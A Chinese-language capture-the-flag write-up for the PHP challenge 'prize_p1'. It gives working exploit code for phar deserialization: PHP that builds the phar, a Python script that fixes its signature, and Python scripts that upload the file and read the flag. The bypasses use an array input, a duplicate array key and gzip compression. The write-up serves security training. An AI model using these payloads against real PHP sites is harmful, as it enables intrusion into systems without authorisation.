当前位置: 首页 > news >正文

prize_p1

文章目录

  • 解题过程
    • 代码审计
    • 思路
    • 问题解决
      • 数组绕过preg_match
      • __destruct的触发
      • 修改phar文件以及签名
      • phar://支持的后缀
    • 题解
      • 方法一(数组绕过)
      • 方法二(gzip绕过)


解题过程

源代码

 <META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {function __destruct() {echo getenv("FLAG");}
}class A {public $config;function __destruct() {if ($this->config == 'w') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}file_put_contents("./tmp/a.txt", $data);} else if ($this->config == 'r') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}echo file_get_contents($data);}}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

代码审计

首先有getflag类,内容就是输出$FLAG,触发条件为__destruct;然后就是A类的文件写入和读取。最后就是对GET[0]的关键字判断,通过后反序列化GET[0]。

思路

这里因为关键字对flag有过滤,所以无法直接触发getflag类;转眼去看A类,既然有任意内容写入+任意文件读取+类,优先考虑phar反序列化

那我们的操作就是先利用A类的写文件功能写入一个phar文件,其中phar文件的metadata部分设置为getflag类,这样phar://读取之后,其中的metadata部分的数据就被反序列化,getflag就生成了,再最后程序结束触发__destruct获取flag

问题解决

数组绕过preg_match

如果我们要绕过preg_match,我们可以采用数组绕过的方法
我们本地测试下,源码如下

<?php
$data = array(0=>"by_pass:iwantflag",1=>123456);
if (preg_match('/flag/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");
}
else{echo "success bypass";file_put_contents("./win.txt", $data);
}

小皮跑一下,发现成功写入
在这里插入图片描述

但是这里也同时出现了报错信息,我们看到题目源代码最下面

throw new Error("那么就从这里开始起航吧");

这样的话会抛出错误,运行中止,那么我们就无法触发__destruct方法

__destruct的触发

然后就来到第二个点,如何绕过抛出异常去触发呢
在PHP中,正常触发析构函数(__destruct)有三种方法:

①程序正常结束
②主动调用unset($aa)
③将原先指向类的变量取消对类的引用,即$aa = 其他值;

这题我们采用第三种方法

PHP中的垃圾回收Garbagecollection机制,利用引用计数和回收周期自动管理内存对象。当一个对象没有被引用时,PHP就会将其视为“垃圾”,这个”垃圾“会被回收,回收过程中就会触发析构函数

所以我们可以利用取消原本对getflag的引用,从而触发他的析构函数。

操作如下,在phar的metadata中写入的内容为a:2:{i:0;O:7:"getflag":0:{}i:0;N;}
这样的话,当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发他的析构函数,从而获得flag

但是我们生成的phar文件生成的字符串是a:2:{i:0;O:7:"getflag":0:{}i:1;N;},不是我们想要的字符串,那么需要解决的第三个问题

修改phar文件以及签名

步骤如下
我们先在010打开此phar文件,然后复制内容
再新建一个十六进制文本,粘贴进去,并且将1改为0
在这里插入图片描述phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名,查看PHP手册找到phar的签名格式

在这里插入图片描述我们刚刚的phar的签名标志位为0x0003,为SHA256签名,所以我们要计算的是出的字节是[-40:-8],用脚本计算我们新的phar文件的签名,并重新写入文件(也可以导出为新文件)

除了数组绕过的思路外,还有如下方法

phar://支持的后缀

除了.phar可以用phar://读取,gzip bzip2 tar zip 这四个后缀同样也支持phar://读取
所以在此题中,可以对hacker1.phar文件做以上这些处理,使其成为乱码,从而绕过关键字的检测

题解

方法一(数组绕过)

生成phar文件脚本

<?php
class getflag{
}
$a = new getflag();
$a = array(0=>$a,1=>null);
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

然后010打开把1改为0
然后修改签名,脚本如下

from hashlib import sha256
with open("hacker1.phar",'rb') as f:text=f.read()main=text[:-40]        #正文部分(除去最后40字节)end=text[-8:]		  #最后八位也是不变的	new_sign=sha256(main).digest()new_phar=main+new_sign+endopen("hacker1.phar",'wb').write(new_phar)     #将新生成的内容以二进制方式覆盖写入原来的phar文件

然后上传脚本

import requests
import reurl="http://node4.anna.nssctf.cn:28853/"### 写入phar文件
with open("hacker1.phar",'rb') as f:data1={'0[]':f.read()}          #传数组绕过,值就是hacker1.phar文件的内容param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}res1 = requests.post(url=url, params=param1,data=data1)### 读phar文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
res2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(res2.text)
print(flag)

然后就得到flag
在这里插入图片描述

方法二(gzip绕过)

直接用脚本进行gzip压缩并完成后续一系列操作
脚本如下

import requests
import re
import gzipurl="http://node4.anna.nssctf.cn:28853/"### 先将phar文件变成gzip文件
with open("hacker1.phar",'rb') as f1:phar_zip=gzip.open("gzip.zip",'wb')                  #创建了一个gzip文件的对象phar_zip.writelines(f1)                                #将phar文件的二进制流写入phar_zip.close()###写入gzip文件
with open("gzip.zip",'rb') as f2:data1={0:f2.read()}           #利用gzip后全是乱码绕过               param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}p1 = requests.post(url=url, params=param1,data=data1)### 读gzip.zip文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)       
print(flag)

也同样可以得到flag

相关文章:

prize_p1

文章目录 解题过程代码审计思路问题解决数组绕过preg_match__destruct的触发修改phar文件以及签名phar://支持的后缀 题解方法一&#xff08;数组绕过&#xff09;方法二&#xff08;gzip绕过&#xff09; 解题过程 源代码 <META http-equiv"Content-Type" conte…...

Acwing 3534. 矩阵幂 3535. C翻转

3534. 矩阵幂 - AcWing题库 思路&#xff1a;模拟&#xff0c;当然&#xff0c;k次幂可以用快速幂优化&#xff0c;这里懒了 #include <iostream> #include <vector> using namespace std;vector<vector<int>> mul(int n, vector<vector<int>…...

Spring Cloud:构建微服务的最佳实践

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…...

时间序列场景下多种数据填充算法实践与对比分析

在时间序列建模任务中&#xff0c;模型往往对于缺失数据是比较敏感的&#xff0c;大量的缺失数据甚至会导致训练出来的模型完全不可用&#xff0c;在我前面的博文中也有写到过数据填充相关的内容&#xff0c;感兴趣的话可以自行移步阅读即可&#xff1a; 《python 基于滑动平均…...

Mysql开启binlog

本案例基于mysql5.7.16实验 1、在linux中进入mysql查询binlog是否打开&#xff0c;执行命令如下&#xff1a; mysql -u root -p 2、查询binlog是否开启命令如下&#xff0c;如果log_bin为OFF则证明mysql的binlog没有打开 show variables like %log_bin%; 3、退出mysql终端&…...

【Java Web】HTML 标签 总结

目录 1.HTML 2.标签 1. head 标签 1.图标 2.样式居中 2. body 标签 1.注释 &#xff1a; 2.加载图片 3.加载视频 效果 4.区域 效果 5.上下跳转&#xff0c;页面跳转 效果 6.表格 效果 7.有序列表&#xff0c;无序列表 效果 8.登录 效果 9.按钮 10.多选框…...

前端面试的话术集锦第 4 篇:进阶篇下

这是记录前端面试的话术集锦第四篇博文——进阶篇下,我会不断更新该博文。❗❗❗ 1. 浏览器Eventloop和Node中的有什么区别 众所周知JS是⻔⾮阻塞单线程语⾔,因为在最初JS就是为了和浏览器交互⽽诞⽣的。 如果JS是⻔多线程的语⾔话,我们在多个线程中处理DOM就可能会发⽣问…...

mmap详解

想写一篇文章&#xff0c;详细的介绍一下mmap&#xff0c;主要是原理、用法、mmap泄露来进行介绍。说到mmap&#xff0c;首先得从堆空间说起。 申请堆空间 其实&#xff0c;不管是 32 位系统还是 64 位系统&#xff0c;内核都会维护一个变量 brk&#xff0c;指向堆的顶部&…...

项目02—基于keepalived+mysqlrouter+gtid半同步复制的MySQL集群

文章目录 一.项目介绍1.拓扑图2.详细介绍 二.前期准备1.项目环境2.IP划分 三. 项目步骤1.ansible部署软件环境1.1 安装ansible环境1.2 建立免密通道1.3 ansible批量部署软件1.4 统一5台mysql服务器的数据 2.配置基于GTID的半同步主从复制2.1 在master上安装配置半同步的插件,再…...

【EI征稿】第二届机械电子工程与人工智能国际学术会议(MEAI 2023)

第二届机械电子工程与人工智能国际学术会议&#xff08;MEAI 2023&#xff09; The 2nd International Conference on Mechatronic Engineering and Artificial Intelligence 2023年第二届机械电子工程与人工智能国际学术会议&#xff08;MEAI 2023&#xff09;计划将于2023年…...

ros2 学习launch文件组织工程 yaml配置文件

简单范例 功能描述 使用launch文件&#xff0c;统一管理工程&#xff0c;实现img转点云&#xff0c;发送到img_pt的topic&#xff0c;然后用reg_pcl节点进行subscribe&#xff0c;进行点云配准处理&#xff0c;输出融合后的点云到map_pt的topic。最后由rviz2进行点云展示。 …...

奇舞周刊第 505 期:实践指南-前端性能提升 270%!

记得点击文章末尾的“ 阅读原文 ”查看哟~ 下面先一起看下本期周刊 摘要 吧~ 奇舞推荐 ■ ■ ■ 实践指南-前端性能提升 270% 当我们疲于开发一个接一个的需求时&#xff0c;很容易忘记去关注网站的性能&#xff0c;到了某一个节点&#xff0c;猛地发现&#xff0c;随着越来越多…...

【C++】泛型编程 | 函数模板 | 类模板

一、泛型编程 泛型编程是啥&#xff1f; 编写一种一般化的、可通用的算法出来&#xff0c;是代码复用的一种手段。 类似写一个模板出来&#xff0c;不同的情况&#xff0c;我们都可以往这个模板上去套。 举个例子&#xff1a; void Swap(int& a, int& b) {int tmp …...

web前端——简单的网页布局案列

✨博主&#xff1a;命运之光 &#x1f338;专栏&#xff1a;Python星辰秘典 &#x1f433;专栏&#xff1a;web开发&#xff08;简单好用又好看&#xff09; ❤️专栏&#xff1a;Java经典程序设计 ☀️博主的其他文章&#xff1a;点击进入博主的主页 目录 问题背景 解决样例 …...

线程安全问题(3)--- wait(),notify()

前言 在多线程的环境下&#xff0c;我们常常要协调多个线程之间的执行顺序&#xff0c;而为了实现这一点&#xff0c;Java提供了一些方法来帮助我们完成这一点。 一&#xff0c;wait() 作用&#xff1a; 使当前线程进入等待状态 释放当前的锁 (即该方法必须和 synchrnized 关键…...

【Android知识笔记】进程通信(一)

一、Android Framework 用到了哪些 IPC 方式 Linux 的 IPC 方式有: 管道Socket共享内存信号信号量消息队列管道通信 管道是基于pipefs文件系统实现的,也就是多个进程通过对同一个文件进行读写来实现进程间通信。半双工,单向的,通过 pipe(fds) 系统函数调用可得到一对文件描…...

存储空间压缩6倍 ,多点DMALL零售SaaS场景降本实践

&#x1f9d1;‍&#x1f4bc; 作者简介 冯光普&#xff1a;多点 DMALL 数据库团队负责人&#xff0c;负责数据库稳定性建设与 DB PaaS 平台建设&#xff0c;在多活数据库架构、数据同步方案等方面拥有丰富经验。 杨家鑫&#xff1a;多点高级 DBA&#xff0c;擅长故障分析与性能…...

BGP路由属性

任何一条BGP路由都拥有多个路径属性&#xff08;Path Attributes&#xff09;&#xff0c;当路由器通告BGP路由给它的对等体时&#xff0c;该路由将会携带多个路径属性&#xff0c;这些属性描述了BGP路由的各项特征&#xff0c;同时在某些场景下也会影响BGP路由优选的决策。 一…...

Java面试常用函数

1. charAt() 方法用于返回字符串指定索引处的字符。索引范围为从 0 到 length() - 1。 map.getOrDefault(num, 0) :如果map存在num这个key&#xff0c;则返回num对应的value&#xff0c;否则返回0. Arrays.sort(nums); 数组排序 Arrays.asList("a","b",&q…...

linux编译curl库(支持https)

openssl下载和编译 https://www.openssl.org/source/old/ 解压 tar -xvf openssl-3.0.1.tar.gz cd openssl-3.0.1/配置 ./config如果是编译静态库加入 -fPIC no-shared 如果指定安装路径,使用 --prefix=/usr/local/openssl/选项指定特定目录 编译和安装 make sodu make i…...

命令行与IM桥接工具:适配器模式实现统一消息通知

1. 项目概述与核心价值最近在折腾一个挺有意思的东西&#xff0c;一个叫tmwgsicp/im-cli-bridge的项目。光看这个名字&#xff0c;可能有点摸不着头脑&#xff0c;我来拆解一下。tmwgsicp大概率是作者的用户名或者组织名&#xff0c;im-cli-bridge才是核心。im是即时通讯&#…...

【Claude API集成实战指南】:20年专家亲授FastAPI高效对接Claude的7大避坑法则

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;Claude API集成的核心原理与FastAPI技术选型 Claude API 采用基于 HTTP/2 的流式 REST 接口设计&#xff0c;核心通信模式为双向流&#xff08;/v1/messages 端点&#xff09;&#xff0c;支持 event:…...

别再死记硬背了!用这3个真实网络场景,彻底搞懂华为ACL的配置逻辑

华为ACL实战指南&#xff1a;3个典型场景解锁访问控制精髓 每次看到新手工程师面对ACL配置时一脸茫然的样子&#xff0c;我就想起自己当年在机房通宵排错的经历。访问控制列表&#xff08;ACL&#xff09;作为网络安全的"门禁系统"&#xff0c;其重要性不言而喻&…...

革新Mac软件管理体验:Applite智能图形化工具深度解析

革新Mac软件管理体验&#xff1a;Applite智能图形化工具深度解析 【免费下载链接】Applite User-friendly GUI macOS application for Homebrew Casks 项目地址: https://gitcode.com/gh_mirrors/ap/Applite 还在为繁琐的命令行安装而烦恼&#xff1f;是否曾因复杂的Hom…...

模板进阶(C++初阶结束)

1.非类型模板参数模板参数分为类型形参和非类型形参类型形参&#xff1a;出现在模板参数列表中&#xff0c;跟class或者typename之类的参数类型名称非类型形参&#xff1a;就是用一种常量作为类&#xff08;函数&#xff09;模板的一个参数&#xff0c;在类&#xff08;函数&am…...

Odoo开源频道应用:构建企业级内容管理系统的完整指南

1. 项目概述&#xff1a;一个为Odoo生态注入活力的开源频道应用如果你是一名Odoo开发者或实施顾问&#xff0c;肯定遇到过这样的场景&#xff1a;客户需要一个功能强大、界面现代的“新闻”或“博客”模块&#xff0c;但Odoo原生的“网站博客”应用要么功能过于基础&#xff0c…...

Python热重载工具Reloadium:实现函数级代码热更新与AI辅助开发

1. 项目概述&#xff1a;Reloadium&#xff0c;一个改变Python开发工作流的“时光机”如果你和我一样&#xff0c;是个常年泡在Python项目里的开发者&#xff0c;那你一定对“修改代码 -> 停止程序 -> 重新运行 -> 等待启动”这个循环深恶痛绝。尤其是在调试Web后端&a…...

React Native Expo样板项目:集成导航、状态管理与样式的最佳实践

1. 项目概述&#xff1a;一个为React Native开发者准备的“开箱即用”脚手架 如果你是一名React Native开发者&#xff0c;或者正打算踏入这个领域&#xff0c;那么你一定对项目启动初期那些繁琐的配置工作深有体会。从搭建开发环境、配置路由、集成状态管理&#xff0c;到设置…...

千问 LeetCode 2281.巫师的总力量和 Python3实现

LeetCode 2281. 巫师的总力量和&#xff08;Sum of Total Strength of Wizards&#xff09; 是一道难度较高的题目&#xff0c;核心在于 贡献法 单调栈 前缀和的前缀和&#xff08;prefix sum of prefix sums&#xff09;。下面给出 清晰、高效、符合 Python3 习惯 的实现&am…...

DevOps 与 CI/CD 实战心得:静态网站的自动化部署

背景 自己做了一个独立站项目&#xff0c;访问地址是&#xff1a;https://www.wslwf.com 通过这次实践&#xff0c;对 DevOps 和 CI/CD 在静态网站场景中的应用有了更深的理解。 核心体会 1. 工具链选择至关重要 这次项目使用了 GitHub Actions GitHub Pages&#xff0c;这个组…...